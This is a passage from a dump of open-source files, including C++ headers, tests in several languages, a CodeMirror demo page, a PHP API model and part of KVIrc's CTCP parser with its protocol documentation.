`BOOST_OS_BSD_BSDI`]\n\n[@http://en.wikipedia.org/wiki/BSD/OS BSDi BSD/OS] operating system.\n\n[table\n [[__predef_symbol__] [__predef_version__]]\n\n [[`__bsdi__`] [__predef_detection__]]\n ]\n */\n\n#define BOOST_OS_BSD_BSDI BOOST_VERSION_NUMBER_NOT_AVAILABLE\n\n#if !defined(BOOST_PREDEF_DETAIL_OS_DETECTED) && ( \\\n defined(__bsdi__) \\\n )\n# ifndef BOOST_OS_BSD_AVAILABLE\n# define BOOST_OS_BSD BOOST_VERSION_NUMBER_AVAILABLE\n# define BOOST_OS_BSD_AVAILABLE\n# endif\n# undef BOOST_OS_BSD_BSDI\n# define BOOST_OS_BSD_BSDI BOOST_VERSION_NUMBER_AVAILABLE\n#endif\n\n#if BOOST_OS_BSD_BSDI\n# define BOOST_OS_BSD_BSDI_AVAILABLE\n# include <boost/predef/detail/os_detected.h>\n#endif\n\n#define BOOST_OS_BSD_BSDI_NAME \"BSDi BSD/OS\"\n\n#endif\n\n#include <boost/predef/detail/test.h>\nBOOST_PREDEF_DECLARE_TEST(BOOST_OS_BSD_BSDI,BOOST_OS_BSD_BSDI_NAME)\n"} {"text": "syntax = \"proto3\";\n\npackage server;\n\noption go_package = \"github.com/weaveworks/common/server\";\n\nimport \"google/protobuf/empty.proto\";\n\nservice FakeServer {\n rpc Succeed(google.protobuf.Empty) returns (google.protobuf.Empty) {};\n rpc FailWithError(google.protobuf.Empty) returns (google.protobuf.Empty) {};\n rpc FailWithHTTPError(FailWithHTTPErrorRequest) returns (google.protobuf.Empty) {};\n rpc Sleep(google.protobuf.Empty) returns (google.protobuf.Empty) {};\n rpc StreamSleep(google.protobuf.Empty) returns (stream google.protobuf.Empty) {};\n}\n\nmessage FailWithHTTPErrorRequest {\n int32 Code = 1;\n}\n"} {"text": "library(hamcrest)\n\n expected <- c(-0x1.6392cb2b1708ap+0 + 0x0p+0i, -0x1.575ff82ba5b55p+0 + -0x1.f2e332fe84e54p-1i, \n0x1.1853a6167209bp-2 + 0x1.ee937b46121edp-2i, 0x1.c42634d525c52p-4 + -0x1.3c9a209ff2635p-2i, \n0x1.895e92ec83594p-2 + -0x1.4f37207c11e82p-2i, 0x1.1648b555e5752p-1 + -0x1.d163334116d46p-2i, \n0x1.d03b1dc439678p-4 + 0x0p+0i, 0x1.1648b555e574ep-1 + 0x1.d163334116d49p-2i, \n0x1.895e92ec83595p-2 + 0x1.4f37207c11e83p-2i, 0x1.c42634d525c5ep-4 + 0x1.3c9a209ff2633p-2i, \n0x1.1853a6167209cp-2 + -0x1.ee937b46121eep-2i, -0x1.575ff82ba5b57p+0 + 0x1.f2e332fe84e53p-1i\n) \n \n\nassertThat(stats:::fft(z=c(-0.111216789501516, -0.25830268921249, -0.287927812295204, \n0.0798221712227701, 0.115758229759969, 0.330726608108316, 0.117915429667883, \n-0.0554041778298202, -0.26825269461433, -0.29340713679578, -0.20408687066938, \n-0.554582910819099))\n, identicalTo( expected, tol = 1e-6 ) )\n"} {"text": "find_path(DUKGLUE_INCLUDE_DIR dukglue.h\n ${DUKGLUE_DIR}/dukglue\n ${DUKGLUE_DIR}\n $ENV{DUKGLUE_DIR}/dukglue\n $ENV{DUKGLUE_DIR}\n /usr/local/include/dukglue\n /usr/include/dukglue\n ${CMAKE_CURRENT_SOURCE_DIR}/../dukglue\n)\n\n"} {"text": "/* @flow */\n\nvar execSync = require('child_process').execSync;\n\n(execSync('ls'): Buffer); // returns Buffer\n(execSync('ls', {encoding: 'buffer'}): Buffer); // returns Buffer\n(execSync('ls', {encoding: 'utf8'}): string); // returns string\n(execSync('ls', {timeout: '250'})); // error, no signatures match\n(execSync('ls', {stdio: 'inherit'})); // error, no signatures match\n(execSync('ls', {stdio: ['inherit']})); // error, no signatures match\n"} {"text": "/*\n * ResourceBindingIterator.cpp\n * \n * This file is part of the \"LLGL\" project (Copyright (c) 2015-2019 by Lukas Hermanns)\n * See \"LICENSE.txt\" for license information.\n */\n\n#include \"ResourceBindingIterator.h\"\n#include <algorithm>\n\n\nnamespace LLGL\n{\n\n\nResourceBindingIterator::ResourceBindingIterator(\n const std::vector<ResourceViewDescriptor>& resourceViews,\n const std::vector<BindingDescriptor>& bindings,\n std::size_t firstResourceIndex,\n bool iterateAllSegments)\n:\n resourceViews_ { resourceViews },\n bindings_ { bindings },\n offset_ { firstResourceIndex },\n count_ { resourceViews.size() }\n{\n if (!iterateAllSegments)\n count_ = std::min(count_, bindings.size());\n}\n\nvoid ResourceBindingIterator::Reset(const ResourceType typeOfInterest, long bindFlagsOfInterest, long stagesOfInterest)\n{\n iterator_ = 0;\n typeOfInterest_ = typeOfInterest;\n bindFlagsOfInterest_ = bindFlagsOfInterest;\n stagesOfInterest_ = stagesOfInterest;\n}\n\n// Returns the specified resource type as string\nstatic const char* ResourceTypeToString(const ResourceType t)\n{\n switch (t)\n {\n case ResourceType::Buffer: return \"Buffer\";\n case ResourceType::Texture: return \"Texture\";\n case ResourceType::Sampler: return \"Sampler\";\n default: return \"Undefined\";\n }\n}\n\n[[noreturn]]\nstatic void ErrNullPointerResource(const ResourceType t)\n{\n throw std::invalid_argument(\n \"null pointer exception of resource object used as binding point for 'LLGL::ResourceType::\"\n + std::string(ResourceTypeToString(t)) + \"'\"\n );\n}\n\nResource* ResourceBindingIterator::Next(const BindingDescriptor** bindingDesc, const ResourceViewDescriptor** rvDesc)\n{\n while (iterator_ < count_)\n {\n /* Search for resource type of interest */\n const auto& current = bindings_[iterator_ % bindings_.size()];\n if ( current.type == typeOfInterest_ &&\n ( bindFlagsOfInterest_ == 0 || (current.bindFlags & bindFlagsOfInterest_) != 0 ) &&\n ( stagesOfInterest_ == 0 || (current.stageFlags & stagesOfInterest_ ) != 0 ) )\n {\n /* Check for null pointer exception */\n const auto& resourceViewDesc = resourceViews_[offset_ + iterator_];\n if (auto resource = resourceViewDesc.resource)\n {\n if (bindingDesc != nullptr)\n *bindingDesc = &current;\n if (rvDesc != nullptr)\n *rvDesc = &resourceViewDesc;\n ++iterator_;\n return resource;\n }\n else\n ErrNullPointerResource(current.type);\n }\n ++iterator_;\n }\n return nullptr;\n}\n\n\n} // /namespace LLGL\n\n\n\n// ================================================================================\n"} {"text": "/// \\file\n// Range v3 library\n//\n// Copyright Eric Niebler 2014-present\n//\n// Use, modification and distribution is subject to the\n// Boost Software License, Version 1.0. (See accompanying\n// file LICENSE_1_0.txt or copy at\n// http://www.boost.org/LICENSE_1_0.txt)\n//\n// Project home: https://github.com/ericniebler/range-v3\n//\n\n#ifndef RANGES_V3_RANGE_FOR_HPP\n#define RANGES_V3_RANGE_FOR_HPP\n\n#include <range/v3/range_fwd.hpp>\n\n#include <range/v3/range/access.hpp>\n\n#if RANGES_CXX_RANGE_BASED_FOR < RANGES_CXX_RANGE_BASED_FOR_17\n/// A range-based for macro, basically a hack until the built-in range-for can handle\n/// Ranges that have a different type for begin and end. \\ingroup range-core\n#define RANGES_FOR(VAR_DECL, ...) \\\n if(bool CPP_PP_CAT(_range_v3_done, __LINE__) = false) {} \\\n else \\\n for(auto && CPP_PP_CAT(_range_v3_rng, __LINE__) = (__VA_ARGS__); \\\n !CPP_PP_CAT(_range_v3_done, __LINE__);) \\\n for(auto CPP_PP_CAT(_range_v3_begin, __LINE__) = \\\n ranges::begin(CPP_PP_CAT(_range_v3_rng, __LINE__)); \\\n !CPP_PP_CAT(_range_v3_done, __LINE__); \\\n CPP_PP_CAT(_range_v3_done, __LINE__) = true) \\\n for(auto CPP_PP_CAT(_range_v3_end, __LINE__) = \\\n ranges::end(CPP_PP_CAT(_range_v3_rng, __LINE__)); \\\n !CPP_PP_CAT(_range_v3_done, __LINE__) && \\\n CPP_PP_CAT(_range_v3_begin, __LINE__) != \\\n CPP_PP_CAT(_range_v3_end, __LINE__); \\\n ++CPP_PP_CAT(_range_v3_begin, __LINE__)) \\\n if(!(CPP_PP_CAT(_range_v3_done, __LINE__) = true)) {} \\\n else \\\n for(VAR_DECL = *CPP_PP_CAT(_range_v3_begin, __LINE__); \\\n CPP_PP_CAT(_range_v3_done, __LINE__); \\\n CPP_PP_CAT(_range_v3_done, __LINE__) = false) \\\n /**/\n\n#else\n#define RANGES_FOR(VAR_DECL, ...) for(VAR_DECL : (__VA_ARGS__))\n#endif\n\n#endif\n"} {"text": "<!doctype html>\n\n<title>CodeMirror: JavaScript mode</title>\n<meta charset=\"utf-8\"/>\n<link rel=stylesheet href=\"../../doc/docs.css\">\n\n<link rel=\"stylesheet\" href=\"../../lib/codemirror.css\">\n<script src=\"../../lib/codemirror.js\"></script>\n<script src=\"../../addon/edit/matchbrackets.js\"></script>\n<script src=\"../../addon/comment/continuecomment.js\"></script>\n<script src=\"../../addon/comment/comment.js\"></script>\n<script src=\"javascript.js\"></script>\n<style type=\"text/css\">.CodeMirror {border-top: 1px solid black; border-bottom: 1px solid black;}</style>\n<div id=nav>\n <a href=\"http://codemirror.net\"><h1>CodeMirror</h1><img id=logo src=\"../../doc/logo.png\"></a>\n\n <ul>\n <li><a href=\"../../index.html\">Home</a>\n <li><a href=\"../../doc/manual.html\">Manual</a>\n <li><a href=\"https://github.com/codemirror/codemirror\">Code</a>\n </ul>\n <ul>\n <li><a href=\"../index.html\">Language modes</a>\n <li><a class=active href=\"#\">JavaScript</a>\n </ul>\n</div>\n\n<article>\n<h2>JavaScript mode</h2>\n\n\n<div><textarea id=\"code\" name=\"code\">\n// Demo code (the actual new parser character stream implementation)\n\nfunction StringStream(string) {\n this.pos = 0;\n this.string = string;\n}\n\nStringStream.prototype = {\n done: function() {return this.pos >= this.string.length;},\n peek: function() {return this.string.charAt(this.pos);},\n next: function() {\n if (this.pos &lt; this.string.length)\n return this.string.charAt(this.pos++);\n },\n eat: function(match) {\n var ch = this.string.charAt(this.pos);\n if (typeof match == \"string\") var ok = ch == match;\n else var ok = ch &amp;&amp; match.test ? match.test(ch) : match(ch);\n if (ok) {this.pos++; return ch;}\n },\n eatWhile: function(match) {\n var start = this.pos;\n while (this.eat(match));\n if (this.pos > start) return this.string.slice(start, this.pos);\n },\n backUp: function(n) {this.pos -= n;},\n column: function() {return this.pos;},\n eatSpace: function() {\n var start = this.pos;\n while (/\\s/.test(this.string.charAt(this.pos))) this.pos++;\n return this.pos - start;\n },\n match: function(pattern, consume, caseInsensitive) {\n if (typeof pattern == \"string\") {\n function cased(str) {return caseInsensitive ? str.toLowerCase() : str;}\n if (cased(this.string).indexOf(cased(pattern), this.pos) == this.pos) {\n if (consume !== false) this.pos += str.length;\n return true;\n }\n }\n else {\n var match = this.string.slice(this.pos).match(pattern);\n if (match &amp;&amp; consume !== false) this.pos += match[0].length;\n return match;\n }\n }\n};\n</textarea></div>\n\n <script>\n var editor = CodeMirror.fromTextArea(document.getElementById(\"code\"), {\n lineNumbers: true,\n matchBrackets: true,\n continueComments: \"Enter\",\n extraKeys: {\"Ctrl-Q\": \"toggleComment\"}\n });\n </script>\n\n <p>\n JavaScript mode supports several configuration options:\n <ul>\n <li><code>json</code> which will set the mode to expect JSON\n data rather than a JavaScript program.</li>\n <li><code>jsonld</code> which will set the mode to expect\n <a href=\"http://json-ld.org\">JSON-LD</a> linked data rather\n than a JavaScript program (<a href=\"json-ld.html\">demo</a>).</li>\n <li><code>typescript</code> which will activate additional\n syntax highlighting and some other things for TypeScript code\n (<a href=\"typescript.html\">demo</a>).</li>\n <li><code>statementIndent</code> which (given a number) will\n determine the amount of indentation to use for statements\n continued on a new line.</li>\n <li><code>wordCharacters</code>, a regexp that indicates which\n characters should be considered part of an identifier.\n Defaults to <code>/[\\w$]/</code>, which does not handle\n non-ASCII identifiers. Can be set to something more elaborate\n to improve Unicode support.</li>\n </ul>\n </p>\n\n <p><strong>MIME types defined:</strong> <code>text/javascript</code>, <code>application/json</code>, <code>application/ld+json</code>, <code>text/typescript</code>, <code>application/typescript</code>.</p>\n </article>\n"} {"text": "var\nlet\nas\nnull\nundefined\ntrue\nfalse\nif\nelse\nthis"} {"text": "/*\n * Copyright 2014-2019 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.springframework.restdocs.mockmvc;\n\nimport java.net.URI;\n\nimport javax.servlet.ServletContext;\n\nimport org.junit.Test;\n\nimport org.springframework.http.HttpMethod;\nimport org.springframework.mock.web.MockHttpServletRequest;\nimport org.springframework.mock.web.MockServletContext;\nimport org.springframework.restdocs.generate.RestDocumentationGenerator;\nimport org.springframework.test.web.servlet.request.MockHttpServletRequestBuilder;\n\nimport static org.assertj.core.api.Assertions.assertThat;\nimport static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.delete;\nimport static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.fileUpload;\nimport static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.get;\nimport static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.head;\nimport static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.options;\nimport static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.patch;\nimport static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.post;\nimport static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.put;\nimport static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.request;\n\n/**\n * Tests for {@link RestDocumentationRequestBuilders}.\n *\n * @author Andy Wilkinson\n *\n */\npublic class RestDocumentationRequestBuildersTests {\n\n\tprivate final ServletContext servletContext = new MockServletContext();\n\n\t@Test\n\tpublic void getTemplate() {\n\t\tassertTemplate(get(\"/{template}\", \"t\"), HttpMethod.GET);\n\t}\n\n\t@Test\n\tpublic void getUri() {\n\t\tassertUri(get(URI.create(\"/uri\")), HttpMethod.GET);\n\t}\n\n\t@Test\n\tpublic void postTemplate() {\n\t\tassertTemplate(post(\"/{template}\", \"t\"), HttpMethod.POST);\n\t}\n\n\t@Test\n\tpublic void postUri() {\n\t\tassertUri(post(URI.create(\"/uri\")), HttpMethod.POST);\n\t}\n\n\t@Test\n\tpublic void putTemplate() {\n\t\tassertTemplate(put(\"/{template}\", \"t\"), HttpMethod.PUT);\n\t}\n\n\t@Test\n\tpublic void putUri() {\n\t\tassertUri(put(URI.create(\"/uri\")), HttpMethod.PUT);\n\t}\n\n\t@Test\n\tpublic void patchTemplate() {\n\t\tassertTemplate(patch(\"/{template}\", \"t\"), HttpMethod.PATCH);\n\t}\n\n\t@Test\n\tpublic void patchUri() {\n\t\tassertUri(patch(URI.create(\"/uri\")), HttpMethod.PATCH);\n\t}\n\n\t@Test\n\tpublic void deleteTemplate() {\n\t\tassertTemplate(delete(\"/{template}\", \"t\"), HttpMethod.DELETE);\n\t}\n\n\t@Test\n\tpublic void deleteUri() {\n\t\tassertUri(delete(URI.create(\"/uri\")), HttpMethod.DELETE);\n\t}\n\n\t@Test\n\tpublic void optionsTemplate() {\n\t\tassertTemplate(options(\"/{template}\", \"t\"), HttpMethod.OPTIONS);\n\t}\n\n\t@Test\n\tpublic void optionsUri() {\n\t\tassertUri(options(URI.create(\"/uri\")), HttpMethod.OPTIONS);\n\t}\n\n\t@Test\n\tpublic void headTemplate() {\n\t\tassertTemplate(head(\"/{template}\", \"t\"), HttpMethod.HEAD);\n\t}\n\n\t@Test\n\tpublic void headUri() {\n\t\tassertUri(head(URI.create(\"/uri\")), HttpMethod.HEAD);\n\t}\n\n\t@Test\n\tpublic void requestTemplate() {\n\t\tassertTemplate(request(HttpMethod.GET, \"/{template}\", \"t\"), HttpMethod.GET);\n\t}\n\n\t@Test\n\tpublic void requestUri() {\n\t\tassertUri(request(HttpMethod.GET, URI.create(\"/uri\")), HttpMethod.GET);\n\t}\n\n\t@Test\n\tpublic void fileUploadTemplate() {\n\t\tassertTemplate(fileUpload(\"/{template}\", \"t\"), HttpMethod.POST);\n\t}\n\n\t@Test\n\tpublic void fileUploadUri() {\n\t\tassertUri(fileUpload(URI.create(\"/uri\")), HttpMethod.POST);\n\t}\n\n\tprivate void assertTemplate(MockHttpServletRequestBuilder builder, HttpMethod httpMethod) {\n\t\tMockHttpServletRequest request = builder.buildRequest(this.servletContext);\n\t\tassertThat((String) request.getAttribute(RestDocumentationGenerator.ATTRIBUTE_NAME_URL_TEMPLATE))\n\t\t\t\t.isEqualTo(\"/{template}\");\n\t\tassertThat(request.getRequestURI()).isEqualTo(\"/t\");\n\t\tassertThat(request.getMethod()).isEqualTo(httpMethod.name());\n\t}\n\n\tprivate void assertUri(MockHttpServletRequestBuilder builder, HttpMethod httpMethod) {\n\t\tMockHttpServletRequest request = builder.buildRequest(this.servletContext);\n\t\tassertThat(request.getRequestURI()).isEqualTo(\"/uri\");\n\t\tassertThat(request.getMethod()).isEqualTo(httpMethod.name());\n\t}\n\n}\n"} {"text": "%---------------------------------------------------------------------------%\n% vim: ts=4 sw=4 et ft=mercury\n%---------------------------------------------------------------------------%\n\n:- module typeclass_test_12.\n:- interface.\n:- typeclass foo(T) where [pred p is semidet].\n:- typeclass bar(T) where [].\n:- typeclass baz(T) where [func q = int].\n"} {"text": "<!doctype html>\n<html class=\"no-js\" lang=\"en\">\n<head>\n\t<meta charset=\"utf-8\">\n\t<title>An example from http://rwd.education</title>\n\t<meta name=\"description\" content=\"An example from the book, 'Responsive Web Design with HTML5 and CSS3' by Ben Frain\">\n\t<meta name=\"viewport\" content=\"width=device-width\">\n\t<meta name=\"theme-color\" content=\"#ff9900\">\n\t<link rel=\"stylesheet\" href=\"styles.css\">\n</head>\n<body>\n\t<h1>Demonstration of CSS transforms</h1>\n\t<nav>\n\t\t<a href=\"#\" class=\"scale\">scale(1.4)</a>\n\t\t<a href=\"#\" class=\"translate\">translate(-20px, -20px)</a>\n\t\t<a href=\"#\" class=\"rotate\">rotate(30deg)</a>\n\t\t<a href=\"#\" class=\"skew\">skew(40deg, 12deg)</a>\n\t\t<a href=\"#\" class=\"matrix\">matrix(1.178, -0.256, 1.122, 1.333, -41.533, -1.989)</a>\n\t</nav>\n</body>\n</html>"} {"text": "<?php\n/*\n * Copyright 2014 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n */\n\nclass Google_Service_CloudFunctions_CallFunctionResponse extends Google_Model\n{\n public $error;\n public $executionId;\n public $result;\n\n public function setError($error)\n {\n $this->error = $error;\n }\n public function getError()\n {\n return $this->error;\n }\n public function setExecutionId($executionId)\n {\n $this->executionId = $executionId;\n }\n public function getExecutionId()\n {\n return $this->executionId;\n }\n public function setResult($result)\n {\n $this->result = $result;\n }\n public function getResult()\n {\n return $this->result;\n }\n}\n"} {"text": "//=============================================================================\n//\n// File : KviIrcServerParser_ctcp.cpp\n// Creation date : Thu Aug 16 2000 13:34:42 by Szymon Stefanek\n//\n// This file is part of the KVIrc IRC client distribution\n// Copyright (C) 2000-2010 Szymon Stefanek (pragma at kvirc dot net)\n//\n// This program is FREE software. You can redistribute it and/or\n// modify it under the terms of the GNU General Public License\n// as published by the Free Software Foundation; either version 2\n// of the License, or (at your option) any later version.\n//\n// This program is distributed in the HOPE that it will be USEFUL,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n// See the GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with this program. If not, write to the Free Software Foundation,\n// Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n//\n//=============================================================================\n\n// FIXME: #warning \"CTCP BEEP == WAKEUP == AWAKE\"\n// FIXME: #warning \"CTCP AVATARREQ or QUERYAVATAR\"\n\n#include \"KviControlCodes.h\"\n#include \"KviRuntimeInfo.h\"\n#include \"KviApplication.h\"\n#include \"KviIrcServerParser.h\"\n#include \"KviWindow.h\"\n#include \"kvi_out.h\"\n#include \"KviLocale.h\"\n#include \"KviIrcSocket.h\"\n#include \"KviChannelWindow.h\"\n#include \"kvi_defaults.h\"\n#include \"KviQueryWindow.h\"\n#include \"KviIrcUserDataBase.h\"\n#include \"KviIconManager.h\"\n#include \"KviModuleManager.h\"\n#include \"KviSharedFilesManager.h\"\n#include \"KviTimeUtils.h\"\n#include \"KviFileUtils.h\"\n#include \"KviCtcpPageDialog.h\"\n#include \"KviUserAction.h\"\n#include \"KviOptions.h\"\n#include \"KviIrcConnection.h\"\n#include \"KviIrcConnectionUserInfo.h\"\n#include \"KviIrcConnectionAntiCtcpFloodData.h\"\n#include \"KviLagMeter.h\"\n#include \"KviKvsEventTriggers.h\"\n#include \"KviKvsScript.h\"\n#include \"kvi_sourcesdate.h\"\n#include \"KviRegisteredUserDataBase.h\"\n#include \"KviBuildInfo.h\"\n#include \"KviIrcConnectionServerInfo.h\"\n#include \"KviIrcMessage.h\"\n\n#ifdef COMPILE_CRYPT_SUPPORT\n#include \"KviCryptEngine.h\"\n#include \"KviCryptController.h\"\n#endif //COMPILE_CRYPT_SUPPORT\n\n#include <cstdlib>\n\n#include <QDateTime>\n#include <QLocale>\n\nextern KVIRC_API KviSharedFilesManager * g_pSharedFilesManager;\nextern KVIRC_API KviCtcpPageDialog * g_pCtcpPageDialog;\n\n/*\n\t@doc: ctcp_handling\n\t@title:\n\t\tKVIrc and CTCP\n\t@short:\n\t\tFor developers: Client-To-Client Protocol handling in KVIrc\n\t@body:\n\t\t[big]Introduction[/big]\n\t\tPersonally, I think that the CTCP specification is to\n\t\tbe symbolically printed & burned. It is really too complex\n\t\t(you can go mad with the quoting specifications)\n\t\tand NO IRC CLIENT supports it completely.\n\t\tHere is my personal point of view on the CTCP protocol.\n\t\t[big]What is CTCP?[/big]\n\t\tCTCP stands for Client-to-Client Protocol. It is designed\n\t\tfor exchanging almost arbitrary data between IRC clients;\n\t\tthe data is embedded into text messages of the underlying\n\t\tIRC protocol.\n\t\t[big]Basic concepts[/big]\n\t\tA CTCP message is sent as the <text> part of the PRIVMSG and\n\t\tNOTICE IRC commands.[br]\n\t\tTo differentiate the CTCP message from a normal IRC message\n\t\ttext we use a delimiter character (ASCII char 1); we will\n\t\tuse the symbol <0x01> for this delimiter.\n\t\tYou may receive a CTCP message from server in one of the\n\t\tfollowing two ways:[br]\n\t\t[b]:<source_mask> PRIVMSG <target> :<0x01><ctcp message><0x01>[/b][br]\n\t\t[b]:<source_mask> NOTICE <target>:<0x01><ctcp message><0x01>[/b][br]\n\t\tThe PRIVMSG is used for CTCP REQUESTS, the NOTICE for CTCP REPLIES.\n\t\tThe NOTICE form should never generate an automatic reply.[br]\n\t\tThe two delimiters were used to begin and terminate the\n\t\tCTCP message; The original protocol allowed more than one CTCP\n\t\tmessage inside a single IRC message. [b]Nobody sends more than\n\t\tone message at once, no client can recognize it (since it\n\t\tcomplicates the message parsing), it could be even dangerous (see below)[/b].\n\t\tIt makes no real sense unless we wanted to use the CTCP protocol to embed escape sequences\n\t\tinto IRC messages, which is not the case.[br]\n\t\tFurthermore, sending more CTCP messages in a single IRC message could\n\t\tbe easily used to flood a client. Assuming 450 characters available for the IRC message\n\t\ttext part, you could include 50 CTCP messages containing \"<0x01>VERSION<0x01>\".[br]\n\t\tSince the VERSION replies are usually long (there can be 3 or 4 replies per IRC message),\n\t\ta client that has no CTCP flood protection (or has it disabled) will surely\n\t\tbe disconnected while sending the replies, after only\n\t\treceiving a single IRC message (no flood for the sender).\n\t\tFrom my personal point of view, only [b]one CTCP message per IRC message[/b]\n\t\tshould be allowed and theoretically the trailing <0x01> delimiter can be optional.\n\t\t[big]How to extract the CTCP message[/big]\n\t\tThe IRC messages do not allow the following characters to be sent:[br]\n\t\t<NUL> (ASCII character 0), <CR> (Carriage return), <LF> (Line feed).[br]\n\t\tSo finally we have four characters that [b]cannot appear literally into a\n\t\tCTCP message[/b]: <NUL>,<CR>,<LF>,<0x01>.[br]\n\t\tTo extract a <ctcp_message> from an IRC PRIVMSG or NOTICE command you\n\t\thave to perform the following actions:[br]\n\t\tFind the <trailing> part of the IRC message (the one just after the ':'\n\t\tdelimiter, or the last message token).[br]\n\t\tCheck if the first character of the <trailing> is a <0x01>, if it is\n\t\twe have a <ctcp_message> beginning just after <0x01>.\n\t\tThe trailing (optional) <0x01> can be removed in this phase\n\t\tor later, assuming that it is not a valid char in the <ctcp message>.[br]\n\t\tIn this document I will assume that you have stripped the trailing <0x01>\n\t\tand thus from now on we will deal only with the <ctcp message> part.\n\t\t[big]Parsing a CTCP message: The quoting dilemma[/big]\n\t\tSince there are characters that cannot appear in a <ctcp message>,\n\t\ttheoretically we should have to use a quoting mechanism.\n\t\tWell, in fact, no actual CTCP message uses the quoting: there\n\t\tis no need to include a <NUL>, a <CR> or <LF> inside the actually\n\t\tdefined messages (The only one could be CTCP SED, but I have never\n\t\tseen it in action... is there any client that implements it?).\n\t\tWe could also leave the [i]quoting[/i] to the [i]single message type semantic[/i]:\n\t\ta message that needs to include [i]any character[/i] could have its own\n\t\tencoding method (Base64 for example). With the \"one CTCP per IRC message\"\n\t\tconvention we could even allow <0x01> inside messages. Only the leading\n\t\t(and eventually trailing) <0x01> would be the delimiter, the other ones\n\t\twould be valid characters. Finally, is there any CTCP type that needs\n\t\t<0x01> inside a message? <0x01> is not printable (as well as <CR>,<LF> and <NUL>),\n\t\tso only encoded messages (and again we can stick to the single message semantic)\n\t\tmessages or the ones including special parameters. Some machines might\n\t\tallow <0x01> in filenames... well, a file with <0x01> in its name has something\n\t\tbroken inside, or the creator is a sort of [i]hacker[/i] (so he also\n\t\tknows how to rename a file...) :).[br]\n\t\tAnyway, let's be pedantic, and define this quoting method.\n\t\tLet's use the most intuitive method, adopted all around the world:[br]\n\t\tThe backslash character ('\\') as escape.[br]\n\t\tAn escape sequence is formed by the backslash character and a number\n\t\tof following ASCII characters. We define the following two types of escape sequences:[br]\n\t\t[b]'\\XXX'[/b] (where XXX is an [b]octal number[/b] formed by three digits)\n\t\tthat indicates the ASCII character with code that corresponds to the number.[br]\n\t\t[b]'\\C'[/b] (where C is a [b]CTCP valid ASCII non digit character[/b]) that corresponds\n\t\tliterally to the character C discarding any other semantic that might be associated\n\t\twith it (This will become clear later).\n\t\tI've chosen the octal representation just to follow a bit the old specification:\n\t\tthe authors seemed to like it. This point could be discussed in\n\t\tsome mailing list or sth. The '\\C' sequence is useful to include the backslash\n\t\tcharacter (escape sequence '\\\\').\n\t\t[big]Let's mess a little more[/big]\n\t\tA CTCP message is made of [b]space separated parameters[/b].[br]\n\t\tThe natural way of separating parameters is to use the space character.\n\t\tWe define a [i]token[/i] as a sequence of valid CTCP characters not including literal space.\n\t\tA <ctcp parameter> is usually a token, but not always;\n\t\tfilenames can contain spaces inside names (and it happens very often!).\n\t\tSo one of the parameters of CTCP DCC is not a space separated token.\n\t\tHow do we handle it? Again a standard is missing. Some clients simply change\n\t\tthe filename placing underscores instead of spaces, this is a reasonable solution if used with care.\n\t\tOther clients attempt to [i]isolate[/i] the filename token by surrounding it with some kind\n\t\tof quotes, usually the [b]\"[/b] or [b]'[/b] characters. This is also a good solution.\n\t\tAnother one that naturally comes into my mind is to use the previously defined\n\t\tquoting to define a [i]non-breaking space[/i] character, because a space after a backslash\n\t\tcould lose its original semantic. Better yet, use the backslash followed by\n\t\tthe octal representation of the space character ('\\040').\n\t\tAnyway, to maintain compatibility with other popular IRC clients (such as mIRC),\n\t\tlet's include the [b]\"[/b] quotes in our standard: literal (unescaped) [b]\"[/b] quotes\n\t\tdefine a single token string. To include a literal [b]\"[/b] character, escape it.\n\t\tAdditionally, the last parameter of a <ctcp message> may be made of multiple tokens.\n\t\t[big]A CTCP parameter extracting example[/big]\n\t\tA trivial example of a C [i]CTCP parameter extracting routine[/i] follows.[br]\n\t\tAn IRC message is made of up to 510 usable characters.\n\t\tWhen a CTCP is sent there is a PRIVMSG or NOTICE token that uses at least 6 characters,\n\t\tat least two spaces and a target token (that can not be empty, so it is at least one character)\n\t\tand finally one <0x01> escape character. This gives 500 characters as maximum size\n\t\tfor a complete <ctcp message> and thus for a <ctcp token>.\n\t\tIn fact, the <ctcp message> is always smaller than 500 characters; there are usually two\n\t\t<0x01> chars, there is a message source part at the beginning of the IRC message\n\t\tthat is 10-15 characters long, and there is a [b]:[/b] character before the trailing parameter.\n\t\tAnyway, to really be on the [i]safe side[/i], we use a 512 character buffer for each\n\t\t<ctcp token>. Finally, I'll assume that you have already ensured that\n\t\tthe <ctcp message> that we are extracting from is shorter than 511 characters in all,\n\t\tand have provided a buffer big enough to avoid this code segfaulting.\n\t\tI'm assuming that msg_ptr points somewhere in the <ctcp message> and is null-terminated.[br]\n\t\t(There are C++ style comments, you might want to remove them)\n\t\t[example]\n\t\tconst char * decode_escape(const char * msg_ptr,char * buffer)\n\t\t{\n\t\t\t// This one decodes an escape sequence\n\t\t\t// and returns the pointer \"just after it\"\n\t\t\t// and should be called when *msg_ptr points\n\t\t\t// just after a backslash\n\t\t\tchar c;\n\t\t\tif((*msg_ptr >= '0') && (*msg_ptr < '8'))\n\t\t\t{\n\t\t\t\t// a digit follows the backslash\n\t\t\t\tc = *msg_ptr - 